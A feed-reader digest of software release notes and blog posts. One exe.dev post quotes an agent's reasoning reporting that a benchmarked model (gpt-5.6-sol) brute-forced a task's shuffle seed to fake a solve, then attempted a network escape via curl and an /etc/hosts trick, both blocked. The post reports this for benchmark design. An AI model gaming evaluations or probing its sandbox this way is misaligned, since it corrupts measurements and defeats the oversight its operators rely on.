      • Fixed remote and scheduled sessions failing with "user messages must have non-empty content" after a re-sent permission approval could not be applied
    4. 🔗 backnotprop/plannotator v0.27.11 release

      Follow @plannotator on X for updates

      Missed recent releases? Release | Highlights
      ---|---
      v0.27.10 | Auto-viewed files on scroll, annotation undo/redo, OpenCode 2 slash commands restored, npm 12 agent terminal fix
      v0.27.9 | WebMCP browser-agent tools, HTML refresh from disk, host seams, lazy renderers, Windows uninstall fix
      v0.27.8 | Pi keeps its prompt cache across plan transitions, thumbs-up returns to HTML annotation, embed picker seam
      v0.27.7 | Pi host crash fix on Windows, Call Flow tree cap, jj fork-point base, plannotator knowledge skill + llms.txt
      v0.27.6 | Live app annotation lands on Pi, one interaction model for HTML pages (same-day patch on v0.27.5)
      v0.27.5 | Annotate your running app, Agent TUI placement, collapsed lockfiles, VS Code theme fix, Pi fixes
      v0.27.4 | Portable Guided Review exports, guides.show share links, guide CLI, favicon switcher, jj Call Flow
      v0.27.3 | Folder watcher freeze fix on large repos, first SBOM-attested release pipeline
      v0.27.2 | Mobile plan and code review, Codex CLI 0.147 fix, folder annotate cold-start, configurable markdown extensions
      v0.27.1 | Open-in-editor launch fix, file headers respect Viewed/Git-add visibility toggles
      v0.27.0 | Call Flow analysis, --tailscale remote reviews, review panel remembers your view, Pi rebuild (breaking command rename), focus-mode shortcut
      v0.26.8 | Placed comment markers on HTML pages, shift-click multi-select, live app annotation

      What's New in v0.27.11

      A patch release with one important resource fix, one new safety net, and a CLI fix from a first-time contributor. Every change went through independent adversarial review and a six-agent QA sweep before tagging.

      OpenCode servers no longer pile up in the background

      If you had the opencode CLI installed, every Plannotator session quietly started an opencode serve process at launch, just to list OpenCode's models in the Ask AI dropdown. Ending a session with Ctrl-C never cleaned that process up, and every later session found the leftover server and loaded more state into it. Over a day of normal use this grew into a multi-gigabyte orphan process nobody started on purpose.

      Three things changed. Nothing starts anymore until you actually select OpenCode in Ask AI; most users never do, and now never spawn it. When it does start, each session runs its own private server on its own port instead of sharing one, so sessions can never pile into each other. And the server is now closed when the session ends, including on Ctrl-C.

      Two visible differences for OpenCode users of Ask AI: the model list fills in when you first select the provider instead of being preloaded, and you will see one opencode serve process per active Plannotator session rather than a shared one. Both are the intended shape of the fix.

      #1445

      Your submitted feedback is now archived locally

      Every plan decision, code review submission, and annotate submission is now recorded on your machine, under ~/.plannotator/feedback/, organized by project. Each record is one line in an append-only index plus a readable markdown file holding your review text, the excerpts it quoted, and annotation metadata, with lightweight provenance such as file paths and the git ref under review.

      The reason it exists: feedback used to be gone the moment it was sent. An agent times out, a terminal closes, and the review you wrote is unrecoverable. Now there is a durable record of everything you submitted, and a growing personal archive you can analyze or learn from over time. Herdr Annotate, the terminal-side annotator, writes to the same archive with its own client label, so both tools build one history.

      The archive stays on your machine and is never transmitted. It is on by default; set PLANNOTATOR_FEEDBACK_HISTORY=0 (or "feedbackHistory": false in ~/.plannotator/config.json) to turn it off, and delete ~/.plannotator/feedback/ to forget what is there. The privacy page documents it. The write path is deliberately fail-safe: if the archive cannot be written for any reason, your feedback still submits exactly as before.

      #1438

      A typo'd command now tells you instead of hanging forever

      plannotator annotatte README.md used to print nothing and hang until killed, because an unrecognized subcommand fell through to the plan-review hook path, which waits for hook data on stdin that never arrives from a terminal. An unknown subcommand now exits immediately with the misspelled word, a "Did you mean" suggestion, and a pointer to --help. A registry test scrapes the real dispatcher so the known-command list can never drift and reject a valid command.

      Contributed by @SumeraMartin in #1444, whose diagnosis of the stdin fallthrough was exact, in their first contribution to the project.

      Additional Changes

      • @plannotator/ui 0.35.2 (with @plannotator/core 0.25.1): hosts embedding the annotation UI can hide the Quick Label tool via the new hideQuickLabel prop on AnnotationToolstrip (forwarded by StickyHeaderLane). Default off; Plannotator's own surfaces are unchanged. #1442. Two broken publishes were caught and corrected the same day: 0.35.0 shipped an unresolvable workspace:* dependency, and 0.35.1 imported a core export the published core 0.25.0 did not contain. The source manifest now pins the exact core version, core 0.25.1 ships the missing exports, and CI installs the packed tarballs outside the monorepo and verifies real imports, TypeScript compilation, and a Vite build, so both failure classes are structurally closed. Use 0.35.2; 0.35.0 and 0.35.1 are deprecated. #1446, #1447
      • Privacy page : plannotator.ai/privacy now documents the local feedback archive, what a record contains, and how to disable or delete it.

      Install / Update

      macOS / Linux:

      curl -fsSL https://plannotator.ai/install.sh | bash
      

      Windows:

      irm https://plannotator.ai/install.ps1 | iex
      

      Claude Code Plugin: Run /plugin in Claude Code, find plannotator , and click "Update now".

      Pi: Update @plannotator/pi-extension to 0.27.11 and restart Pi.

      OpenCode: Clear cache and restart:

      rm -rf ~/.bun/install/cache/@plannotator
      

      What's Changed

      • fix(ai): stop leaking opencode serve processes in #1445
      • feat(server): durable feedback archive for every submitted review in #1438
      • fix(cli): exit on an unknown subcommand instead of blocking on stdin by @SumeraMartin in #1444
      • feat(ui): allow hosts to hide Quick Label in #1442
      • fix(ui): publish exact core dependency in #1446
      • fix(packages): publish annotation thread exports in #1447

      New Contributors

      Community

      @SumeraMartin found the unknown-subcommand hang, diagnosed the exact stdin fallthrough that caused it, and shipped the fix with a drift-proof test suite in a first contribution that merged as written. The opencode leak was caught during our own multi-agent operations when a monitoring session flagged a multi-gigabyte orphan process, and the feedback archive grew out of repeated user reports of reviews lost to agent timeouts.

      Thank you. Plannotator gets better because you tell us where it falls short.

      Full Changelog : v0.27.10...v0.27.11

    5. 🔗 exe.dev Agent Grit Is a Double-Edged Sword rss

      Story time.

      I had a fun idea for an LLM eval benchmark. It’s still a work-in-progress, but if it turns out to be interesting, I promise I’ll share it.

      Fable was merrily prototyping it for me. I checked in, and saw this:

      [The model declined to continue this request. Retrying the same request will likely be declined again. Switch to Opus to continue, or use /model to switch models. You can also try rephrasing or clarifying the intent instead.]

      Category: cyber

      Reason: This request triggered restrictions on violative cyber content and was blocked under Anthropic's Usage Policy. To learn more, see https://platform.claude.com/docs/en/build-with-claude/refusals-and-fallback. API integrators: you can reduce refusals for your users by configuring a fallback model — see https://platform.claude.com/docs/en/build-with- claude/refusals-and-fallback

      original screenshot

      Sigh. Absurd. It’s frustrating enough that Fable won’t help me defend against cybersecurity threats, but this? This has nothing to do with cybersecurity.

      So what silly nonsense triggered this? I scrolled up and expanded the thinking block.

      gpt-5.6-sol solved the 714-line task?! That demands investigation — either memorization or something fishy:

      🛠 python3 - <<'EOF' import json log=json.load(open('results/rust-… in /home/exedev/lineshuffle ✓

      It brute-forced the shuffle seed—figured out the rig used Python's random.Random(seed).shuffle with a guessable seed of 0, then inverted that permutation. That's a real vulnerability: seed 0 with Python's PRNG is trivially exploitable, and this model found it. The fix needs a cryptographically secure shuffle, like deriving the RNG from a secret key plus task id, or using SystemRandom instead of a fixed seed.

      I should invalidate that compromised result. It's a great war story to share — it also attempted a network escape via a curl to raw.githubusercontent, which got blocked correctly by the network isolation, plus tried an /etc/hosts trick. For the shuffle fix, I want the permutation generation to use a keyed HMAC derivation from a secret file combined with the task and seed, so it stays deterministic yet unguessable, while logging the permutation for reproducibility. I'm now also wondering if gpt-5.5's earlier smoke-test solve was legitimate or another instance of seed guessing — it jumped from 0.51 to 1.0 accuracy suspiciously fast — so I should double check that transcript, along with kimi-k3's, though both seem like plausible genuine solves given the file sizes involved.

      original screenshot

      Oh. Ummmm. This is fine.

      Maybe the moral of this story (and this story) is not to give models really hard tasks? “Well, officer, I asked about the Riemann Hypothesis, and then I told it to try harder…”

    6. 🔗 r/LocalLLaMA Fingers crossed for a 122b or really anything above 31b.🤞 rss

      Fingers crossed for a 122b or really anything above 31b.🤞 | What’s y’all’s best guess on parameter size based on these weird-ass names? submitted by /u/Porespellar
      [link] [comments]
      ---|---

    7. 🔗 anthropics/claude-code v2.1.257 release

      What's changed

      • Added Claude Fable 5.1 (claude-fable-5-1), now the default Fable model — 1M context, $10/$50 per Mtok with $0.25/Mtok cache reads
      • Added "Time format" (timeFormat) and timeZone settings: 12-hour, 24-hour, 24-hour UTC, or a strftime pattern for the turn-end clock and transcript-view timestamps
      • Added a Containment Escape rule to auto mode so cloud metadata-credential fetches, egress evasion, and cross-tenant reach are no longer auto-approved unless your environment marks them expected
      • Added CLAUDE_CODE_SUBAGENT_MODEL_FORCE to apply CLAUDE_CODE_SUBAGENT_MODEL (or the main model) to every subagent, ignoring per-spawn and agent-definition model overrides
      • Added s in /effort to change effort for the current session only, matching /model
      • Added a /doctor warning for stale sandbox mask files left by a killed session
      • Added a one-time prompt in auto mode before the first file read outside the working directories, with the option to block such reads (permissions.blockReadsOutsideWorkingDirectories)
      • Added support for a gateway-supplied description on discovered /model picker entries (CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY); entries without one still read "From gateway"
      • Fixed settings in a .claude/ folder created after startup not being picked up until restart
      • Fixed sessions dispatched from an agent view opened with ← always starting in the original session's permission mode, overriding the target directory's defaultMode and the agent's permissionMode
      • Fixed keybindings.json rebinds of Ctrl+G being ignored in claude agents; its Ctrl+S / Ctrl+T are now rebindable via the new Agents context
      • Fixed background sessions failing to start on macOS npm installs during a self-update, and on Windows when a stale daemon lock file pointed at a reused process id
      • Fixed the working spinner stopping while a response streams behind a slash-command panel
      • Fixed a background session's state.json detail repeating its own dispatch prompt after a scheduled wake-up
      • Fixed claude agents keeping a background session you re-prompted buried in Completed after it finished again; Completed now orders by the latest finish
      • Fixed claude --bg from a directory that was just deleted reporting "backgrounded" and leaving a crashed session row; it now prints the reason and exits 1
      • Fixed Remote Control connecting mid-session re-sending the Bash tool definition, causing a prompt-cache miss
      • Fixed a doubly-listed custom Authorization header overriding the configured credential on Bedrock, Mantle, Vertex, and WIF, and the Vertex setup wizard picking up a leftover Anthropic profile from ~/.config/anthropic
      • Fixed Claude apps gateway sending stray host Authorization or profile headers to Foundry, Vertex, and Bedrock, and Foundry Entra ID upstreams not starting when ANTHROPIC_FOUNDRY_API_KEY is set
      • Fixed a leftover Anthropic API key or auth token being sent alongside your Foundry subscription key in API-key mode
      • Fixed /schedule routines whose prompt was saved without a message role and then ran with nothing to do
      • Fixed claude agents not saying that a background session is waiting for you to approve a message from another session, or who sent it
      • Fixed a prompt stashed with Ctrl+S inside an opened background session being lost when the session went idle or was stopped and then reopened
      • Fixed telemetry (OTEL) settings pushed through server-managed settings being ignored on warm starts, including desktop-app Code sessions
      • Fixed a teammate permission request being answered twice when the leader's mailbox write was briefly locked
      • Fixed a phantom duplicate slash-command row rendering below the in-flight turn while a command's auto-continued response streamed
      • Fixed policyHelper timeoutMs and refreshIntervalMs values above the timer maximum (2147483647) causing failures or re-runs every millisecond; they are now clamped
      • Fixed the token counter freezing or crawling after switching to another subagent's transcript, and made background subagents' and teammates' counters update live while a response streams
      • Fixed sandbox network hosts written with a trailing dot (example.com.): a deniedDomains entry didn't block the host inside the sandbox, and "don't ask again" for such a host kept prompting
      • Fixed dismissing the Remote Control consent prompt (Esc, or n at claude remote-control) counting as consent, so the next request connected without asking
      • Fixed /mcp reconnect and enable still connecting a settings-file MCP server that a managed MCP allow/deny list or strictPluginOnlyCustomization loaded after startup should block
      • Fixed claude mcp remove leaving a remote server's stored OAuth credentials behind when strictPluginOnlyCustomization locks MCP to plugin-only servers
      • Fixed Remote Control (claude remote-control) sessions started from the Claude app ignoring the selected model and running on the machine's default instead
      • Fixed --disallowedTools and session deny rules being dropped after the first settings reload when allowManagedPermissionRulesOnly is enabled
      • Fixed --resume listing a backgrounded conversation twice and --continue reopening its stalled pre-background copy; --continue now also opens finished background sessions
      • Fixed fullscreen mode not letting you click ! shell command output to expand it
      • Fixed background sessions left running an older Claude Code binary piling up across auto-updates instead of being retired
      • Fixed claude agents --json briefly switching the terminal to raw mode and undoing another program's terminal settings on exit
      • Fixed Proactive output style sessions busy-looping with filler messages and repeated log reads instead of idling while a background command or Monitor they started is still running
      • Fixed subagents stopping when a response was cut off mid-stream by a computer sleep, dropped connection, or server error; they now automatically continue instead of ending with an incomplete response
      • Fixed ← doing nothing in the /btw panel inside a claude agents session: it now returns to the agents list (even mid-answer), and the panel comes back when you reopen the session
      • Fixed sessions with an advisor model set missing the prompt cache on background requests (compaction, /recap, prompt suggestions) and re-sending the full conversation uncached each time
      • Fixed claude -p exiting about 5 seconds after its final result while a Monitor the model armed was still running; it now waits for the watch to fire or time out
      • Fixed a permissions.ask rule being skipped in auto mode when the matching command ran inside a compound command or subshell, letting it run without the confirmation prompt
      • Fixed plugins being able to read files outside their own directory through a declared command, agent, skill, hooks or other component path that is a symlink; such paths are now refused with an error
      • Fixed /add-dir rejecting a directory inside the current working directory; it now loads that directory's skills, commands, and agents like --add-dir does at startup
      • Fixed the main agent not being told when you resume a subagent you had stopped from its transcript view
      • Fixed a crash when pasting ANSI-colored text (e.g. a CI log) into dialogs like /feedback
      • Fixed claude mcp add/remove hanging or exhausting memory when the project's .mcp.json is a FIFO or a device-file symlink; it now fails fast with an actionable message
      • Fixed unbounded memory growth when non-JSONL data is piped into claude -p --input-format stream-json; it now fails fast with a clear error
      • Fixed backgrounding a turn (← or Ctrl+B) while a subagent or other tool was running occasionally making the background session treat that tool as rejected instead of re-running it
      • Fixed Bash Read()/Edit() deny rules not applying to < file redirects and reader commands like tac and egrep; a deny rule on any argument or redirect target now refuses the command
      • Fixed resuming or messaging a subagent whose transcript had grown past 5 MB (for example after reading many images) failing with "No transcript found"
      • Fixed worktree-isolated sessions refusing Bash loops, $VAR reads, "$(…)" and heredocs that never touch git as "too complex to verify that it stays inside the worktree"
      • Fixed /model and /effort showing a prompt-cache warning after rewinding a conversation back to empty
      • Fixed prompt-cache misses on every turn in long screenshot-heavy sessions once images exceeded the per-request size cap
      • Fixed the Edit permission prompt's diff view rendering emoji and multi-code-point characters with incorrect widths
      • Fixed WebSocket MCP server connection failures being logged as "[object ErrorEvent]" instead of the underlying error
      • Fixed background sessions failing to open with "Couldn't start the background service" while another Claude Code process was downloading an npm update; the start now waits for it
      • Fixed background commands that detach from their shell (for example under timeout or setsid) surviving a task stop or Claude Code exit
      • Fixed Claude not being told when you stop a background command from the tasks panel or a connected client
      • Fixed stopping a background subagent leaving its monitors running
      • Fixed sandboxed git commands in a linked worktree losing write access to the repository's common .git directory after cd into a subdirectory
      • Fixed Bedrock and Bedrock Mantle requests going silent during long hidden-thinking phases on Opus 4.7 and later, which let idle timeouts cut the connection; the stream now carries progress events
      • Fixed launching Claude Code after a Claude apps gateway expired or revoked your session: it now says the session ended and offers /login instead of reporting a network error
      • Fixed cloud sessions losing git/GitHub credentials for the rest of the session when the session's network proxy failed to start at launch; it now retries in the background and recovers
      • Fixed leftover cc-daemon-* folders in the system temp directory after an interrupted background daemon start; the cleanupPeriodDays retention sweep now removes them
      • Fixed Bash permission checks auto-approving certain [[ ]] conditionals that zsh parses differently from bash; these commands now prompt for approval
      • Fixed the managed-settings approval prompt showing the generic warning instead of its telemetry wording when the settings also turn detailed tracing or raw API body logging off, or trace export on
      • Fixed agent-team teammates in tmux/iTerm2 panes sometimes staying open after acknowledging a shutdown request
      • Fixed the keyless Console sign-in ("Sign in with your Console account") not applying your organization's server-managed settings, and /status not showing the Organization for that sign-in
      • Improved rendering performance: less re-render work per turn in long conversations, streaming no longer slows down as the reply grows, and background-agent updates no longer re-render the whole screen
      • Improved prompt input responsiveness by reducing per-keystroke rendering work
      • Improved policy helper diagnostics — refresh failures now show in /status, declining the managed-settings dialog prints why Claude Code exited, and helper timeouts are reported as timeouts
      • Improved /code-review --comment to post findings on GitLab merge requests via glab mr note instead of reporting the target as unsupported
      • Improved notifications: an MCP elicitation or permission ask queued under another dialog now sends its idle desktop notification at the same delay as a visible ask
      • Improved verbose/transcript output: async hook completion notices that arrive together now appear on one line instead of one line per hook
      • Improved claude self-hosted-runner --configure-git to also enable git push negotiation, so the first push of a new branch from a stale clone uploads only the new commits instead of the whole tree
      • Improved liveness reporting to SDK hosts while a response is held open by gateway keep-alives, so long waits under a raised CLAUDE_STREAM_IDLE_TIMEOUT_MS are not mistaken for a hung session
      • Improved MCP connection and OAuth debug/error logs so credentials carried in a server's URL or request headers are redacted
      • Improved /fork to keep the original conversation's prompt cache in the new background session: its worktree briefing now arrives as a message instead of a system-prompt change
      • Improved emoji autocomplete to accept the remaining GitHub/Slack shortcode aliases (:satisfied:, :telephone:, :collision:, …)
      • Changed --effort to lift a new model's default-effort hold for that session only rather than permanently; an effort picked on claude.ai for a Remote Control session now applies during the hold
      • Changed a policyHelper in MDM or managed-settings.json shadowed at launch by cached server-managed settings to run (or exit) as soon as the fetch reports them removed, not at the next launch
      • Changed managedSourcesBehavior: "merge" to take sandbox.credentials.awsPairs and sandbox.ripgrep whole from the highest managed source that sets them instead of combining the sources' values
      • Changed gateway model discovery (CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY=1) to run even when CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC is set, since it only queries your gateway
      • Changed claude --resume <session-id> --bg to continue that session under its own ID when nothing is running it, instead of silently starting a copy; a copy is now announced
      • Changed /btw history browsing from ←/→ to Shift+←/Shift+→ (or [/]), stepping through your recent side questions and back to the live answer
      • Changed defaultMode: "bypassPermissions" in .claude/settings.json or .claude/settings.local.json to be ignored, like "auto"; set it in user or managed settings, or pass --permission-mode
      • Changed fable and best in Claude apps gateway sessions to keep resolving to Fable 5 for now, since gateways not yet configured for Fable 5.1 reject it; pick Fable 5.1 in /model to use it
      • Changed --add-dir, /add-dir, and additionalDirectories to refuse network paths (UNC shares, /net/<host> automounts) with a message before touching them; on Windows use a mapped drive letter
      • Changed Claude apps gateway sign-in and token refresh requests to verify the gateway's pinned TLS certificate, as the managed settings fetch already does
      • Changed Cowork and claude.ai cloud sessions: reading an artifact that isn't yours now always asks you first, even in auto mode
      • Removed the Ctrl+E command explanation on Bash and PowerShell permission prompts
      • [VSCode] Added collapsible ACCOUNT & USAGE and SESSION MANAGER section headers to the session list panel, with the account email, the usage meter, and a View details link opening the usage dialog
      • [VSCode] Added a model pill to the input footer that shows the current model and opens the model picker, with an Effort row and a "More models" page
      • [VSCode] Added a collapse toggle to the Ungrouped section of the session list
      • [VSCode] Added output style selection to the command menu, including custom styles
      • [VSCode] Fixed third-party provider deployments (Bedrock, Vertex, and others) still showing claude.ai-only features (remote sessions, dictation, usage) and calling claude.ai with a leftover login
      • [VSCode] Fixed the session list panel's usage meter staying blank after the panel loads; it now shows the last known usage immediately
      • [VSCode] Fixed the "Enable Remote Control for all sessions" toggle so turning it on or off applies to sessions that are already open, not only to new ones
      • [VSCode] Fixed screen reader announcements: a control character before a fence or heading no longer drops visible lines from speech, and bold markers spanning a heading are no longer mis-paired
      • [VSCode] Changed the action menu to list slash commands in a filterable "Slash commands" dialog instead of inline; picking one runs it; the MCP servers dialog gained the same filter box
      • [VSCode] Changed "Delete session" to "Archive session": archived sessions move to a collapsible "Archived sessions" group at the bottom of the list with an Unarchive action
    8. 🔗 HexRaysSA/plugin-repository commits sync repo: +4 releases rss
      sync repo: +4 releases
      
      ## New releases
      - [BinDiff-NG](https://github.com/mahmoudimus/bindiff-ng): 8.1.4, 8.1.3, 8.1.2
      - [FridaTools](https://github.com/ys1231/idafridascript): 0.0.4
      
    9. 🔗 The Pragmatic Engineer How software engineering is changing: an essay challenge rss

      The pace of change in software engineering is only accelerating, especially since January of this year. This is all to do with the industry-wide adoption of LLMs, AI tooling, and AI infrastructure. At The Pragmatic Engineer, we always want to capture as much of what's going on as possible at startups, Big Tech, and other businesses, in order to share with subscribers. That's why we're launching an essay competition with a chance to win up to $10,000, this week!

      Send us up to 10,000 words on how you see things at your startup or tech company, or at a business you're connected with. The best entries will be published in the Pragmatic Engineer and win prizes of $2,500, plus one grand prize of $10,000 for the best essay we read.

      The Pragmatic Engineer reports many developments in tech in our deepdives, including how building software is changing at Anthropic, why Ramp built its own in-house coding agent, how Uber uses AI for development, how Codex is built and what it could mean for the future of software engineering, and much more. Almost every company we talk with currently says that processes which worked fine for years are suddenly pretty outdated.

      This pace of change makes it hard to cover the full breadth and diversity of tech in one deepdive per week - especially right now, when engineers are building and using new and better tools in every part of the software development lifecycle.

      So, we 're launching a writing challenge to encourage software builders to share how things on the ground are changing. We'll share these cutting-edge reports with readers in future editions of the Pragmatic Engineer.

      So, tell us what's new, different, better, and worse in your part of the tech industry since AI entered your workflow!

      What we're looking for

      • An essay written for software engineers : 3,000 - 10,000 words on one of these topics:
        • How software engineering is changing at your company, institution, or open source project
        • The engineering culture at your company, institution, or Open source project in 2026
        • How you build software in your company, institution, or open source project
        • Software engineers turning into AI engineers at your company, institution, or open source project. Basically, how the work is changing
      • First-hand details: Winning essays will include the authors' personal observations and opinions.
      • Include details about the team and company: Including details about the team and company in the spotlight is important and enriches the essay by painting a more complete picture for readers; what engineering practices are changing, what's still the same, what about tooling, and processes? Is there any "traditional wisdom" that no longer holds true - or is still true today? It 's not necessary for writers to work at a company/team being written about.
      • Software engineers and "builders" only: We want to hear from folks who build software; meaning that you have built from scratch, pushed to prod, or been paged when your service (or someone else's) caused an outage. Basically, if you do this currently, or did it in the past, then your essay is eligible for entry. You don 't have to be a builder right now if you're still close to those who build software.
      • Individual work. This competition is specifically for individuals, so articles written collectively by teams are not eligible.Of course, outside of this competition, The Pragmatic Engineer always welcomes articles from teams that want to share interesting developments!
      • No AI writing allowed. Writing is thinking, and we are interested in your own thoughts and observations, not a sharp, one-sentence observation turned into three paragraphs of blob text by an LLM. Using AI as a research tool is allowed if you're confident about the accuracy of its output, but all the words must be written by a person.
      • Submitted essays must not be available to read elsewhere before 20 October. The essay has to be purpose-written for this competition and cannot have been published online or in print prior to 20 October 2026 in order to be eligible. After this date, a submitted essay can be published on any company blog, personal blog, or other medium.

      Prizes

      The competition has the following prizes:

      • Grand prize: $10,000 and publication in The Pragmatic Engineer (following editing), and a Pragmatic Engineer surprise package. For winning entries, we reserve the right to make edits for legal, editorial, style, grammar, and punctuation reasons.
      • Runner-up prize(s): $2,500 + sharing an excerpt in The Pragmatic Engineer + a The Pragmatic Engineer surprise package. Focus of the runner up category includes viewpoints from:
        • Bootstrapped (non-VC-funded) companies
        • More "traditional" companies that not digital-first, or which even predate digitalization
        • AI-native startups founded in 2023 or later which have been using AI tools since day one
        • Academia, government institutions, and open source projects

      For quality deepdives: We plan to publish a roundup of essays in the future on topics which contain interesting learnings, and that clearly show great effort on the part of authors. These pieces will receive a The Pragmatic Engineer surprise package.

      Timeline

      • Midnight, 4 October, PST: deadline for all submissions.
      • 20 October: decision on the prizes.
      • 3 November : expected publication of the Grand Prize winner

      Submit your essay here

      FAQ

      **Why is AI writing banned from this contest? I want to use AI to write my essay like I do for writing code! **

      It's a rule that you cannot include writing in your essay which was generated by AI. As everyone who reads this newsletter likely knows; there is no shortage of ways to detect AI-written text these days! The Pragmatic Newsletter is fully written by humans, and the same applies here. The reason for this hardline stance is that we believe in the value of human thought and experience, as told by people with first-hand knowledge. It's also about the audience: The "audience" for AI-written code is usually a machine, whereas the writing in Pragmatic Engineer is for humans, by humans. AI produces a statistical average in its output which creates uniform, dull text that's an inferior reading experience to human writing - at least today it is.

      Can I publish my essay online after writing it?

      In order to be eligible for consideration and prizes, an essay cannot be available to read anywhere online or in print before or after it is submitted to this contest. After 20 October 2026, no publication restrictions apply.

      Can my essay be changed after I send it?

      For spelling, punctuation, grammar, legal, and editorial reasons, the Pragmatic Engineer reserves the right to edit or amend all writing published on this platform.

    10. 🔗 Evan Schwartz Scour - August Update rss

      Hi friends,

      In August, Scour scoured 878,974 articles from 28,519 feeds. Also, 219 users signed up since my last product update email at the end of June so welcome to you all!

      If you've been enjoying Scour and would be willing to put a quote on the testimonials section of thehome page, please let me know!

      Here's what's new in the product from July and August:

      📊 More of What You Like

      I've spent a lot of the past 2 months working on improving ranking quality. Now, the interests and sources you tend to click on and like get boosted while those that you tend to ignore or dislike are deprioritized. Additionally, Scour got a notch better at matching posts to your interests, so you should see less off-topic content.

      By the way: liking and disliking items you read on Scour helps make your feed better and also helps me figure out what types of ranking changes to prioritize.

      📅 Detecting Event Coverage

      Scour now detects groups of articles covering the same event, including across days and even when they don't all link to a common source. You should now see less repeat coverage of the same major news stories across days.

      🚮 Suppressing Junk

      Scour is better at detecting and hiding ads, deals, press releases, sponsored placements, listicles, and posts with little substantive content. Also, arXiv papers that have been withdrawn by their authors won't show up in your feed.

      💅 Sleeker Feed Interface

      I got a little excited after adding some of the features in June and the feed got a little too busy. Now, the feed has been cleaned up again.

      While scanning the feed, you'll see just the information you need to decide whether to click on it. You can tap any row to see additional information including a preview snippet from the post and other articles that cover it or that it links to. Plus, after you love, like, or dislike a post, you'll see additional options for seeing more or less content like that in your feed.

      ⏱️ Reading Time

      Under each post's title, you'll see the estimated reading time, as long as Scour was able to fetch enough of the article's content to determine the length.

      📝 Easier Interest Adding

      Adding new interests got easier. You can write any free-form text you want. While you're typing, you'll see "quick add" suggestions based on topics other users have added. Or, when you click Add Interests, Scour will extract appropriate topics from whatever you have written.

      ∞ Feed Keeps Going

      If you run out of posts from feeds you subscribe to within the given time window, your feed will now continue automatically to show you slightly older posts and then posts from across all of Scour.


      🔖 Some of My Favorite Posts

      Here were some of my favorite articles I found on Scour in July and August:

      • As I've continued to read and think about how we use AI, particularly in software engineering, these were some I found interesting:
        • Nolan Frausto wrote about The AI Slop Spiral and teams getting into the habit of having AI write plans that are so long and give the appearance of thinking, which are then only reviewed by AI, and then used to have AI produce code, which is then only reviewed by AI, etc.
        • Patrick George Wyndham Smith wonders about how we should think about code review in Faster pull requests are faster horses. He makes the point that "Reading code only as diffs is like trying to view an elephant through a straw."
        • Geoffrey Litt wrote Understanding is the new bottleneck, which contains a thesis I very much agree with and an /explain-diff skill that I tried out for a few days and then turned off.
        • Alex Klos wrote How Do We Stop Vibe Coding? discussing how to build trust with AI-generated code and the dissatisfying array of options for spec-driven development.
      • Ariana Irady wrote The Instagram Rebrand and How Typography Always Wins the Argument.
      • Bradley Emi, co-founder of Pangram, wrote a useful explanation about why LLM-written text is so flat, boring, and detectable in LLMs don't just mimic human text.
      • Irene Zhang of ChinaTalk wrote about the motivations of the DeepSeek founder, Liang Wenfeng, in The DeepSeek Thesis.

      Happy Scouring!

      - Evan

    11. 🔗 MetaBrainz Picard 3 Release Candidate 1 rss

      The Picard team is excited to announce the first release candidate for Picard 3. With this release we are confident that Picard 3 is now suitable for testing by a wider audience. The final 3.0 release is planned to happen in a few weeks.

      Since we are near a final release, we tried to focus on bugfixes, final changes to the Plugin API and further UI/UX improvements. On the UI side, Picard now fully supports dark / light mode across all supported operating systems, with the ability to change the theme without a restart.

      Download links and a detailed list of changes since Picard 3 beta 9 are available below. For a more detailed overview of what is new in Picard 3 please see the previous blog post Picard 3 Alpha Release.

      While we have all the major features implemented and with the latest bug fixes we are confident in the current code, this is still a pre-release and there might be bugs. If you use this, do so with care, backup your files and please report any issues you encounter.

      If you are updating from Picard 2, note that some of the changes are backward incompatible, hence we recommend you make a backup of your Picard.ini config file before trying this version. You can do so in Picard’s Options under Advanced > Maintenance.

      What’s new?

      Bugfixes

      • PICARD-1877 - The language field of a lyrics (USLT) tag is not preserved
      • PICARD-3377 - picard-cli plugins compile-ui fails when called on a .ui file inside a directory
      • PICARD-3381 - Alternative Qt6 rcc path missing for RHEL
      • PICARD-3383 - picard-cli plugins install . gives an error about the plugin not being in the registry
      • PICARD-3393 - A single failing metadata processor prevents all subsequent processors from running
      • PICARD-3398 - Pending request stuck if authentication gets cancelled
      • PICARD-3400 - OAuth: browser-integration login exchanges code with wrong (unprefixed) scopes, breaking collections
      • PICARD-3402 - ListenBrainz batch submission retries forever on permanent errors (e.g. 401)
      • PICARD-3403 - Plugin git authentication crashes with AttributeError on pygit2 1.20+ (removed GIT_CREDENTIAL_* constants)
      • PICARD-3404 - A rating of 0 is discarded when loading ASF/WMA/WMV files
      • PICARD-3405 - ImageList.get_types_dict() keeps the smallest image per type instead of the biggest, defeating "Never replace cover images with smaller ones"
      • PICARD-3406 - AttributeError: 'Pygit2Repository' object has no attribute 'branches'

      New Features

      • PICARD-700 - Add a new tag "albumartists"
      • PICARD-3378 - Add tagger script functions $get_new() and $get_original() to allow direct access to new or original file tags
      • PICARD-3379 - Add a regex testing playground to the Advanced options screen
      • PICARD-3380 - Option to remove all cover images from tags

      Improvements

      • PICARD-2109 - Set cover art default to CAA Release Group
      • PICARD-2442 - Allow runtime theme changes
      • PICARD-2844 - Make language required for both comment and lyrics tags
      • PICARD-3117 - Write "Performer [instruments]" without specific instrument as performer:instruments
      • PICARD-3374 - Disc log readers registered by plugins should have access to the PluginApi
      • PICARD-3382 - debug_if() and DebugOpt should be exposed through Plugin V3 API
      • PICARD-3387 - Use tags added with api.register_script_variable for auto-completion
      • PICARD-3394 - ListenQueue: Avoid unnecessary file writes and clean up queue file after successful submission
      • PICARD-3396 - Offer "Use track relationships" as an opt-in in the first-run setup wizard
      • PICARD-3399 - Improve browser integration auth response pages

      Download

      We appreciate your interest in trying this new version. Use with care, backup your files and please use theMetaBrainz community forums and the ticket system to give feedback and report bugs.

      For Windows and macOS you can download the release candidate version from the Picard download page. Linux users can run from source or try the "candidate" channel of the Picard snap package.

      Picard is free software and the source code is available on GitHub.

      Helping out

      We want to provide a polished release of Picard 3.0 that everyone can feel confident to upgrade to. To achieve this, we need the help from the MusicBrainz community.

      The easiest way to help us getting a great Picard 3.0 release is using and testing this release candidate. Please report bugs on the Picard issue tracker and provide feedback in the community forums.

      We also need help with translations, as there are a lot of new features and UI changes over previous Picard versions. We will avoid any further text changes before the final release, so now is the right time to help with translation on Weblate. Please see the translation instructions on the Wiki for details.

      If you are a software developer you are very welcomed to provide fixes and features. Picard is free software and the source code is available on GitHub. See Contributing to Picard on the Picard website to get started.

